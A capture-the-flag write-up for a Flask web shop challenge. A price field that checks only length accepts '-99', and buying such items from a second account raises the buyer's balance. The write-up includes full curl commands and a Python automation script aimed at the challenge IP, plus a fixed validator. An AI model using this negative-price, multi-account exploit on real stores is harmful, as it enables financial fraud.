Flag Shop
Flag Shop
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: integer_manipulation, multi_account_abuse, negative_price_injection
Summary
Walkthrough of the CUSTOM Web Flag Shop. Task: Flask shop with balance system and user-created products. Solution: Negative price injection (-99) bypasses character limit validation, increasing buyer balance instead of decreasing it. Multi-a
Description
Слиты логи маркетплейса для тех, кто живёт за пределами брандмауэров. Здесь торгуют железом, эксплойтами и… чем-то ещё.
Target: 62.173.140.174:16103
Reconnaissance
A Flask/Werkzeug web application representing a shop with products. Key features:
- Initial user balance: 100$
- There's a "Secret Device" item costing 1337$
- Users can create their own products via
/sell - Price field has a "max 3 chars" limitation
- Cannot buy your own products
Vulnerability Analysis
What we tried (didn't work)
- Race condition on purchases — works, but doesn't help accumulate money
- SQL injection to bypass authorization — not vulnerable
- SSTI in product name/description — filtered
- Directory bruteforce to find "leaked logs" — nothing found
- Various file extensions for logs — red herring
Found vulnerability: Negative Price Injection
The price field only validates character count (max 3), but doesn't check the sign!
Validation: len(price) <= 3
Example: "-99" = 3 characters ✓
When buying a product with a negative price:
new_balance = old_balance - price
new_balance = 100 - (-99)
new_balance = 199
The buyer's balance increases instead of decreasing!
Exploitation
Strategy
- Create user A (seller)
- Create user B (buyer)
- User A creates products with negative price (-99$)
- User B buys these products
- B's balance grows with each purchase
- Accumulate 1337$ and buy Secret Device
Commands
bash read-only • copy allowed# Register seller curl -X POST "http://62.173.140.174:16103/register" \ -d "username=seller&password=pass" \ -c /tmp/seller.txt # Login seller curl -X POST "http://62.173.140.174:16103/login" \ -d "username=seller&password=pass" \ -c /tmp/seller.txt -b /tmp/seller.txt # Register buyer curl -X POST "http://62.173.140.174:16103/register" \ -d "username=buyer&password=pass" \ -c /tmp/buyer.txt # Login buyer curl -X POST "http://62.173.140.174:16103/login" \ -d "username=buyer&password=pass" \ -c /tmp/buyer.txt -b /tmp/buyer.txt # Seller creates product with negative price curl -b /tmp/seller.txt -X POST "http://62.173.140.174:16103/sell" \ -d "name=Money&desc=Free+money&price=-99" # Returns product ID in redirect # Buyer purchases product (balance +99$) curl -b /tmp/buyer.txt -X POST "http://62.173.140.174:16103/buy/<product_id>" # Repeat until balance >= 1337$ # Then buy Secret Device curl -b /tmp/buyer.txt -X POST "http://62.173.140.174:16103/buy/1176dfc7-f63d-4da1-a424-a3f4aca68d3b"
Automation
python read-only • copy allowed#!/usr/bin/env python3 import requests import re BASE = "http://62.173.140.174:16103" # Create sessions seller = requests.Session() buyer = requests.Session() # Registration and login seller.post(f"{BASE}/register", data={"username": "seller123", "password": "pass"}) seller.post(f"{BASE}/login", data={"username": "seller123", "password": "pass"}) buyer.post(f"{BASE}/register", data={"username": "buyer123", "password": "pass"}) buyer.post(f"{BASE}/login", data={"username": "buyer123", "password": "pass"}) # Accumulate money for i in range(15): # 15 * 99 = 1485$ > 1337$ # Create product with negative price r = seller.post(f"{BASE}/sell", data={ "name": f"Money{i}", "desc": "Free money", "price": "-99" }, allow_redirects=False) # Extract product ID from redirect product_id = r.headers.get('Location', '').split('/')[-1] # Buy it buyer.post(f"{BASE}/buy/{product_id}") print(f"[+] Bought product {i+1}, balance increased by 99$") # Buy Secret Device SECRET_DEVICE_ID = "1176dfc7-f63d-4da1-a424-a3f4aca68d3b" r = buyer.post(f"{BASE}/buy/{SECRET_DEVICE_ID}") print(r.text)
Defense
python read-only • copy allowed# Proper price validation def validate_price(price_str): try: price = int(price_str) if price <= 0: raise ValueError("Price must be positive") if price > 999: raise ValueError("Price too high") return price except ValueError as e: raise ValidationError(str(e))
Conclusions
- Description is a red herring: "leaked logs" had nothing to do with the solution
- Client-side validation is insufficient: "max 3 chars" check is easily bypassed
- Business logic > Technical exploits: vulnerability is in the logic, not the code
- Multi-account abuse: using two accounts to bypass the "cannot buy your own products" restriction
Key Takeaways / Lessons
- Mastering integer_manipulation, multi_account_abuse, negative_price_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-19 • CUSTOM • Flag Shop • Difficulty: Medium